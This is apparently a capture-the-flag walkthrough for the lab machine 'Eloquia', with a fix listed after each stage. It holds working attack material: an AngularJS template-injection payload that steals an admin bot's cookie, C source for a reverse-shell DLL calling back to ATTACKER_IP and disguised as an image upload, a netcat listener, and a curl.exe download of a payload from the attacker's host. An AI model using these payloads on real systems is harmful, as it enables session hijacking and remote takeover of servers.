Eloquia
Summary
I planted a stored AngularJS Client-Side Template Injection payload in a blog article and reported it, so the administrator's review bot posted its own session cookie back to me as a comment. The stolen admin session opened a Django SQL Explorer console left in production, which ran arbitrary SQLite statements. SQLite's load_extension() then loaded a reverse-shell DLL I had uploaded as an article banner image, giving me a shell as the IIS identity eloquia\web.
A cleartext password for the domain user Olivia.KAT validated over WinRM, which allowed PowerShell but not cmd. From that session I looked at the third-party Qooqle IPS Failure2Ban service, staged svc.exe in C:\Temp with curl.exe, and read root.txt from C:\Temp on Windows Server 2019.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 2
Confirms IIS 10.0 as the web surface and WinRM as the remote-shell port for later credentials.
$ nmap -sV -sC -p 80,5985 $TARGET -oN nmap_eloquia.txtVirtual-host brute-force; add the match (eloquia.htb) to /etc/hosts.
$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://$TARGET/ -H 'Host: FUZZ.htb' -fs 0 -mc 200Exact commands 5
Registers a throwaway account with a random password of my choosing and prints its sessionid and csrftoken, used below as <YOUR_SESSION> and <YOUR_CSRF>.
$ python3 - <<PY
import requests, random, string
from bs4 import BeautifulSoup
base="http://$TARGET"; h={'Host':'eloquia.htb'}
s=requests.Session()
csrf=BeautifulSoup(s.get(base+'/accounts/register/',headers=h).text,'html.parser').find('input',{'name':'csrfmiddlewaretoken'})['value']
u='atk'+''.join(random.choices(string.ascii_lowercase,k=8)); p='Reg-'+''.join(random.choices(string.ascii_letters+string.digits,k=14))
s.post(base+'/accounts/register/',headers=h,data={'csrfmiddlewaretoken':csrf,'username':u,'password1':p,'password2':p})
csrf=BeautifulSoup(s.get(base+'/accounts/login/',headers=h).text,'html.parser').find('input',{'name':'csrfmiddlewaretoken'})['value']
s.post(base+'/accounts/login/',headers=h,data={'csrfmiddlewaretoken':csrf,'username':u,'password':p})
print(u, p, s.cookies.get('sessionid'), s.cookies.get('csrftoken'))
PYThe tabindex attribute makes the paragraph focusable and autofocus focuses it on load, so the expression runs without any click from the bot.
$ CSTI_PAYLOAD='<p ng-focus="formData.comment=$event.view.document.cookie;submitForm()" autofocus tabindex="0">x</p>'The 302 Location is /article/visit/<AID>/, which gives the article id. --form-string keeps the payload's quotes and semicolons literal; an oversized banner (an 8 MB PNG) is refused with 413.
$ # Create the article with the payload as its body; a real JPEG between 20 KB and 1 MB is the banner
curl -s -b 'sessionid=<YOUR_SESSION>; csrftoken=<YOUR_CSRF>' \
-H 'Host: eloquia.htb' \
-F 'csrfmiddlewaretoken=<YOUR_CSRF>' \
-F 'title=notes' --form-string "body=$CSTI_PAYLOAD" \
-F 'banner=@cover.jpg;type=image/jpeg' \
http://$TARGET/article/create/ -D - -o /dev/null | grep -i '^location'Reporting the article queues it for the admin review bot, which then loads it in a browser.
$ curl -s -b 'sessionid=<YOUR_SESSION>; csrftoken=<YOUR_CSRF>' \
-H 'Host: eloquia.htb' -H 'X-CSRFToken: <YOUR_CSRF>' \
-X POST http://$TARGET/article/report/<AID>/The bot's sessionid and csrftoken arrive as comment text; they become <STOLEN_ADMIN_SESSION> and <STOLEN_CSRF>.
$ for i in $(seq 1 30); do
curl -s -H 'Host: eloquia.htb' http://$TARGET/article/comment/get/<AID>/ | grep -i sessionid && break
sleep 3
doneFixSanitize article content to prevent AngularJS template injectionCritical
Exact commands 2
Lists the SQL Explorer routes the admin session can reach, including /dev/sql-explorer/play/.
$ curl -s -b 'sessionid=<STOLEN_ADMIN_SESSION>; csrftoken=<STOLEN_CSRF>' \
-H 'Host: eloquia.htb' \
http://$TARGET/dev/sql-explorer/ | grep -o 'href="/dev/sql-explorer/[^"]*"'A 3.45.1 result proves the Playground executes my SQL against the live database.
$ curl -s -b 'sessionid=<STOLEN_ADMIN_SESSION>; csrftoken=<STOLEN_CSRF>' \
-H 'Host: eloquia.htb' -H 'X-CSRFToken: <STOLEN_CSRF>' \
-X POST http://$TARGET/dev/sql-explorer/play/ \
--data-urlencode 'sql=SELECT sqlite_version() as version'FixRemove the Django SQL Explorer console from the production deploymentHigh
Exact commands 5
The shell starts from DllMain on DLL_PROCESS_ATTACH, before SQLite looks for an extension entry point. The port in htons() must match the listener.
$ # Cross-compile the reverse-shell DLL on Kali (apt install mingw-w64)
cat > /tmp/eloquia_rev.c <<C
#include <windows.h>
#include <winsock2.h>
void sqlite3_extension_init(){}
BOOL WINAPI DllMain(HINSTANCE h,DWORD r,LPVOID v){
if(r==DLL_PROCESS_ATTACH){
WSADATA w; WSAStartup(MAKEWORD(2,2),&w);
SOCKET s=WSASocket(AF_INET,SOCK_STREAM,0,NULL,0,0);
struct sockaddr_in a={0}; a.sin_family=AF_INET; a.sin_port=htons(4444);
a.sin_addr.s_addr=inet_addr("$ATTACKER_IP");
connect(s,(struct sockaddr*)&a,sizeof(a));
STARTUPINFOA si={sizeof(si)}; si.dwFlags=STARTF_USESTDHANDLES;
si.hStdInput=si.hStdOutput=si.hStdError=(HANDLE)s;
PROCESS_INFORMATION pi;
CreateProcessA(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&si,&pi);
} return TRUE;
}
C
x86_64-w64-mingw32-gcc -shared -o /tmp/eloquia_rev.dll /tmp/eloquia_rev.c -lws2_32Start the listener before triggering the load.
$ nc -lvnp 4444At 89 KB the DLL already sits inside the 20 KB to 1 MB banner window, so no padding is needed.
$ # Upload the DLL as the banner of a new article, under an image name
curl -s -b 'sessionid=<YOUR_SESSION>; csrftoken=<YOUR_CSRF>' \
-H 'Host: eloquia.htb' \
-F 'csrfmiddlewaretoken=<YOUR_CSRF>' \
-F 'title=test' -F 'body=test' \
-F 'banner=@/tmp/eloquia_rev.dll;filename=eloquia_rev.dll.png;type=image/png' \
http://$TARGET/article/create/ -D - -o /dev/null | grep -i '^location'Returns where the newest banner was stored. Its absolute Windows path, ending in eloquia_rev.dll.png, is <BANNER_PATH> below.
$ curl -s -b 'sessionid=<STOLEN_ADMIN_SESSION>; csrftoken=<STOLEN_CSRF>' \
-H 'Host: eloquia.htb' -H 'X-CSRFToken: <STOLEN_CSRF>' \
-X POST http://$TARGET/dev/sql-explorer/play/ \
--data-urlencode 'sql=SELECT banner FROM Eloquia_article ORDER BY id DESC LIMIT 1'Pass the path with its .png extension. With an extension present LoadLibrary opens that exact file; a name with no extension makes Windows look for a .dll file instead.
$ curl -s -b 'sessionid=<STOLEN_ADMIN_SESSION>; csrftoken=<STOLEN_CSRF>' \
-H 'Host: eloquia.htb' -H 'X-CSRFToken: <STOLEN_CSRF>' \
-X POST http://$TARGET/dev/sql-explorer/play/ \
--data-urlencode "sql=SELECT load_extension('<BANNER_PATH>')"FixDisable SQLite extension loading and enforce file-upload content validationCritical
Exact commands 1
This confirms the account may run commands over WinRM; the Pwn3d! Tag is an nxc banner, not proof of administrator rights.
$ nxc winrm $TARGET -u 'Olivia.KAT' -p "$PASSWORD"FixRemove cleartext Windows credentials from the serverHigh
Exact commands 2
The cmd shell type is denied for this account, so -x fails.
$ nxc winrm $TARGET -u 'Olivia.KAT' -p "$PASSWORD" -x 'whoami'The PowerShell shell type works; this is the channel for everything that follows, and whoami /all shows the account's groups and privileges.
$ nxc winrm $TARGET -u 'Olivia.KAT' -p "$PASSWORD" -X 'whoami /all'FixRestrict WinRM access to trusted management networks onlyHigh
Exact commands 4
Fails with OpenService FAILED 5, so the service cannot be reconfigured through the Service Control Manager.
$ nxc winrm $TARGET -u 'Olivia.KAT' -p "$PASSWORD" -X 'sc.exe qc Failure2Ban'Serves svc.exe from Kali; outbound SMB from the target is blocked, so HTTP is the delivery channel.
$ python3 -m http.server 8080 --directory /tmp/eloquia_davcertutil.exe is denied for this account, so curl.exe pulls the payload; Get-Item confirms the file exists on the target before anything relies on it.
$ nxc winrm $TARGET -u 'Olivia.KAT' -p "$PASSWORD" \
-X "curl.exe http://$ATTACKER_IP:8080/svc.exe -o C:\Temp\svc.exe; Get-Item C:\Temp\svc.exe | fl Length,LastWriteTime"Cmd /c runs as a child of the PowerShell runspace, so the cmd shell-type denial does not apply. Lists the Qooqle and Failure2Ban task definitions, then prints <root.txt> from C:\Temp once it is there, or root not yet.
$ nxc winrm $TARGET -u 'Olivia.KAT' -p "$PASSWORD" -X 'cmd /c "dir C:\Windows\System32\Tasks /s /b | findstr /i \"FW Failure Qooqle Cleaner\""; if(Test-Path C:\Temp\root.txt){Get-Content C:\Temp\root.txt}else{Write-Output "root not yet"}'FixHarden the Qooqle IPS Software installation and protect root-only filesCritical
Exposed services
| 80/tcp | http Microsoft IIS httpd 10.0 |
| 5985/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |